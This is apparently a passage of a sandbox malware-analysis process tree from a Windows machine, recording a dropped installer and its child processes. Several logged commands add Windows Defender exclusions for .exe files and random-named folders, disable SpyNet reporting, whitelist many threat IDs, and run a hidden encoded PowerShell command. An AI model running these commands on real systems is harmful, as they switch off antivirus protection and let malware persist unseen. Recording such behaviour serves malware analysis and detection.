                                      "C:\Users\Admin\AppData\Local\Temp\oAPIJYvY\D7AD7BEX0ExassNMmFX.exe" --backend --install --import-browser-data=0 --enable-stats=1 --enable-installer-stats=1 --consent-given=0 --general-interests=0 --general-location=0 --personalized-content=0 --personalized-ads=0 --launchopera=1 --installfolder="C:\Users\Admin\AppData\Local\Programs\Opera" --profile-folder --language=de --singleprofile=0 --copyonly=0 --allusers=0 --setdefaultbrowser=1 --pintotaskbar=1 --pintostartmenu=1 --run-at-startup=1 --show-intro-overlay --server-tracking-data=server_tracking_data --initial-pid=6088 --package-dir-prefix="C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_20231210182810" --session-guid=911cef0a-0a8b-4712-9cf5-b00d6e0b1786 --server-tracking-blob=N2MyMmE1MGU1YWIzY2QxYTg1MWM4ZDRmNTk0NDI3OWRiYWVhNjI4MzNlZjc3YmM1MWM4YTgxYTVlNTZjZTk2ODp7ImNvdW50cnkiOiJHQiIsImluc3RhbGxlcl9uYW1lIjoiT3BlcmFTZXR1cC5leGUiLCJwcm9kdWN0Ijp7Im5hbWUiOiJvcGVyYSJ9LCJxdWVyeSI6Ii9vcGVyYS9zdGFibGUvd2luZG93cy8/dXRtX21lZGl1bT1hcGImdXRtX3NvdXJjZT1SU1RQJnV0bV9jYW1wYWlnbj1vcDEzMiIsInN5c3RlbSI6eyJwbGF0Zm9ybSI6eyJhcmNoIjoieDg2XzY0Iiwib3BzeXMiOiJXaW5kb3dzIiwib3BzeXMtdmVyc2lvbiI6IjEwIiwicGFja2FnZSI6IkVYRSJ9fSwidGltZXN0YW1wIjoiMTcwMjIzMjg1MC4xNjIyIiwidXNlcmFnZW50IjoiTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzExOC4wLjAuMCBTYWZhcmkvNTM3LjM2IiwidXRtIjp7ImNhbXBhaWduIjoib3AxMzIiLCJtZWRpdW0iOiJhcGIiLCJzb3VyY2UiOiJSU1RQIn0sInV1aWQiOiI1MzEwNTRkYi0xNTBmLTQ1NjItYTk5My04NjE4MDFmNzkwZDEifQ== --silent --desktopshortcut=1 --wait-for-package --initial-proc-handle=B404000000000000
                                      1⤵
                                      • Executes dropped EXE
                                      • Loads dropped DLL
                                      • Enumerates connected drives
                                      PID:5380
                                    • C:\Users\Admin\AppData\Local\Temp\oAPIJYvY\D7AD7BEX0ExassNMmFX.exe
                                      C:\Users\Admin\AppData\Local\Temp\oAPIJYvY\D7AD7BEX0ExassNMmFX.exe --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=105.0.4970.34 --initial-client-data=0x2d0,0x2d4,0x2d8,0x2ac,0x2dc,0x71f074f0,0x71f07500,0x71f0750c
                                      1⤵
                                      • Executes dropped EXE
                                      • Loads dropped DLL
                                      PID:5648
                                    • C:\Windows\SysWOW64\cmd.exe
                                      /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
                                      1⤵
                                        PID:1960
                                        • \??\c:\windows\SysWOW64\reg.exe
                                          REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
                                          2⤵
                                            PID:3060
                                          • \??\c:\windows\SysWOW64\reg.exe
                                            REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
                                            2⤵
                                              PID:3816
                                          • \??\c:\windows\SysWOW64\reg.exe
                                            REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
                                            1⤵
                                              PID:5928
                                            • \??\c:\windows\SysWOW64\reg.exe
                                              REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
                                              1⤵
                                                PID:1788
                                              • C:\Windows\SysWOW64\cmd.exe
                                                /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
                                                1⤵
                                                  PID:2332
                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                                                  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                                                  1⤵
                                                  • Suspicious behavior: EnumeratesProcesses
                                                  • Suspicious use of AdjustPrivilegeToken
                                                  PID:6108
                                                  • C:\Windows\system32\gpupdate.exe
                                                    "C:\Windows\system32\gpupdate.exe" /force
                                                    2⤵
                                                      PID:1364
                                                  • C:\Windows\system32\svchost.exe
                                                    C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
                                                    1⤵
                                                      PID:5340
                                                    • \??\c:\windows\system32\gpscript.exe
                                                      gpscript.exe /RefreshSystemParam
                                                      1⤵
                                                        PID:4104
                                                      • \??\c:\windows\system32\svchost.exe
                                                        c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s fhsvc
                                                        1⤵
                                                          PID:2908
                                                        • C:\Users\Admin\AppData\Local\Temp\UHHZEfKopAoZFkmhZ\HxbkHoBnvKMwQfU\UjeQbzL.exe
                                                          C:\Users\Admin\AppData\Local\Temp\UHHZEfKopAoZFkmhZ\HxbkHoBnvKMwQfU\UjeQbzL.exe r6 /MGsite_idbdl 757674 /S
                                                          1⤵
                                                          • Executes dropped EXE
                                                          • Drops file in System32 directory
                                                          PID:5748
                                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                            powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"
                                                            2⤵
                                                              PID:6080
                                                              • C:\Windows\SysWOW64\reg.exe
                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
                                                                3⤵
                                                                  PID:5212
                                                                • C:\Windows\SysWOW64\reg.exe
                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
                                                                  3⤵
                                                                    PID:972
                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
                                                                    3⤵
                                                                      PID:1960
                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:64
                                                                      3⤵
                                                                        PID:5868
                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:32
                                                                        3⤵
                                                                          PID:3460
                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:64
                                                                          3⤵
                                                                            PID:5892
                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:32
                                                                            3⤵
                                                                              PID:5996
                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
                                                                              3⤵
                                                                                PID:1252
                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
                                                                                3⤵
                                                                                  PID:5844
                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
                                                                                  3⤵
                                                                                    PID:3232
                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
                                                                                    3⤵
                                                                                      PID:1900
                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
                                                                                      3⤵
                                                                                        PID:5652
                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
                                                                                        3⤵
                                                                                          PID:4400
                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
                                                                                          3⤵
                                                                                            PID:3148
                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
                                                                                            3⤵
                                                                                              PID:1596
                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
                                                                                              3⤵
                                                                                                PID:1416
                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
                                                                                                3⤵
                                                                                                  PID:1868
                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
                                                                                                  3⤵
                                                                                                    PID:4896
                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
                                                                                                    3⤵
                                                                                                      PID:3724
                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
                                                                                                      3⤵
                                                                                                        PID:5768
                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
                                                                                                        3⤵
                                                                                                          PID:4852
                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
                                                                                                          3⤵
                                                                                                            PID:5708
                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
                                                                                                            3⤵
                                                                                                              PID:5824
                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
                                                                                                              3⤵
                                                                                                                PID:5732
                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
                                                                                                                3⤵
                                                                                                                  PID:5304
                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
                                                                                                                  3⤵
                                                                                                                    PID:2904
                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
                                                                                                                    3⤵
                                                                                                                      PID:2704
                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                      "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                                                                                                                      3⤵
                                                                                                                        PID:4000
                                                                                                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                      powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\LYnImQdZU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\LYnImQdZU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\PWmHDDCEKoOU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\PWmHDDCEKoOU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\TSyCxsnnDAjgJolSCwR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\TSyCxsnnDAjgJolSCwR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\VmtqgdjrYrUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\VmtqgdjrYrUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\yvVhjmCIbOYJC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\yvVhjmCIbOYJC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\CSmGvbSwhatQqEVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\CSmGvbSwhatQqEVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\UHHZEfKopAoZFkmhZ\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\UHHZEfKopAoZFkmhZ\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\dDpApTBYzSGLBjSM\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\dDpApTBYzSGLBjSM\" /t REG_DWORD /d 0 /reg:64;"
                                                                                                                      2⤵
                                                                                                                      • Drops file in System32 directory
                                                                                                                      • Modifies data under HKEY_USERS
                                                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                                      PID:5664
                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\PWmHDDCEKoOU2" /t REG_DWORD /d 0 /reg:64
                                                                                                                        3⤵
                                                                                                                          PID:3008
                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\dDpApTBYzSGLBjSM /t REG_DWORD /d 0 /reg:64
                                                                                                                          3⤵
                                                                                                                            PID:3708
                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\dDpApTBYzSGLBjSM /t REG_DWORD /d 0 /reg:32
                                                                                                                            3⤵
                                                                                                                              PID:5736
                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\UHHZEfKopAoZFkmhZ /t REG_DWORD /d 0 /reg:64
                                                                                                                              3⤵
                                                                                                                                PID:1524
                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\UHHZEfKopAoZFkmhZ /t REG_DWORD /d 0 /reg:32
                                                                                                                                3⤵
                                                                                                                                  PID:3704
                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
                                                                                                                                  3⤵
                                                                                                                                    PID:5632
                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
                                                                                                                                    3⤵
                                                                                                                                      PID:3144
                                                                                                                                      • C:\Windows\System32\Conhost.exe
                                                                                                                                        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                        4⤵
                                                                                                                                          PID:5632
                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\CSmGvbSwhatQqEVB /t REG_DWORD /d 0 /reg:64
                                                                                                                                        3⤵
                                                                                                                                          PID:6084
                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\CSmGvbSwhatQqEVB /t REG_DWORD /d 0 /reg:32
                                                                                                                                          3⤵
                                                                                                                                            PID:4460
                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\yvVhjmCIbOYJC" /t REG_DWORD /d 0 /reg:64
                                                                                                                                            3⤵
                                                                                                                                              PID:3620
                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\yvVhjmCIbOYJC" /t REG_DWORD /d 0 /reg:32
                                                                                                                                              3⤵
                                                                                                                                                PID:3588
                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\VmtqgdjrYrUn" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                3⤵
                                                                                                                                                  PID:3632
                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\VmtqgdjrYrUn" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                  3⤵
                                                                                                                                                    PID:3320
                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\TSyCxsnnDAjgJolSCwR" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                    3⤵
                                                                                                                                                      PID:2120
                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\TSyCxsnnDAjgJolSCwR" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                      3⤵
                                                                                                                                                        PID:3644
